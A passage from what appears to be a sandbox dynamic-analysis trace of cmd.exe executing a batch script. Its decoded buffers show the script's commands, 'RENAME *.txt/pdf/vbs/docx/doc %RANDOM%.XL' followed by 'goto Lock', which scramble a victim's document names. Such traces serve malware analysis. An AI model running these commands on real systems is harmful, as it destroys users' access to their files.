dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] GetFileType (hFile=0x74) returned 0x1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=3025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] GetFileType (hFile=0x74) returned 0x1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0037.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=3027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] GetFileType (hFile=0x74) returned 0x1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0037.287] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=3053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] GetFileType (hFile=0x74) returned 0x1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0037.287] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.287] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.287] GetFileType (hFile=0x74) returned 0x1 [0037.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0037.288] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=3066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] GetFileType (hFile=0x74) returned 0x1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0037.288] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] GetFileType (hFile=0x74) returned 0x1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0037.288] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=3074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.288] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.288] GetFileType (hFile=0x74) returned 0x1 [0037.288] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0037.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=3100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0037.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.289] GetFileType (hFile=0x74) returned 0x1 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0037.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=3111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.289] GetFileType (hFile=0x74) returned 0x1 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0037.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=3113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.290] GetFileType (hFile=0x74) returned 0x1 [0037.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0037.290] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=3119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.290] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0037.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.290] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.290] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.290] GetFileType (hFile=0x74) returned 0x1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0037.291] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=3121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] GetFileType (hFile=0x74) returned 0x1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0037.291] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] GetFileType (hFile=0x74) returned 0x1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0037.291] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=3158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.291] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.291] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.291] GetFileType (hFile=0x74) returned 0x1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0037.292] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=3160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.292] GetFileType (hFile=0x74) returned 0x1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0037.292] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=3167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.292] GetFileType (hFile=0x74) returned 0x1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0037.292] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=3169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.292] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.292] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.292] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] GetFileType (hFile=0x74) returned 0x1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0037.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=3196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\n") returned 27 [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] GetFileType (hFile=0x74) returned 0x1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0037.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=3207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] GetFileType (hFile=0x74) returned 0x1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0037.293] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=3209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.293] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.294] GetFileType (hFile=0x74) returned 0x1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc89 [0037.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=3215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.294] GetFileType (hFile=0x74) returned 0x1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc8f [0037.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=3217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.294] GetFileType (hFile=0x74) returned 0x1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc91 [0037.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=3243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] GetFileType (hFile=0x74) returned 0x1 [0037.295] SetFilePointer (in: hFile=0x74, 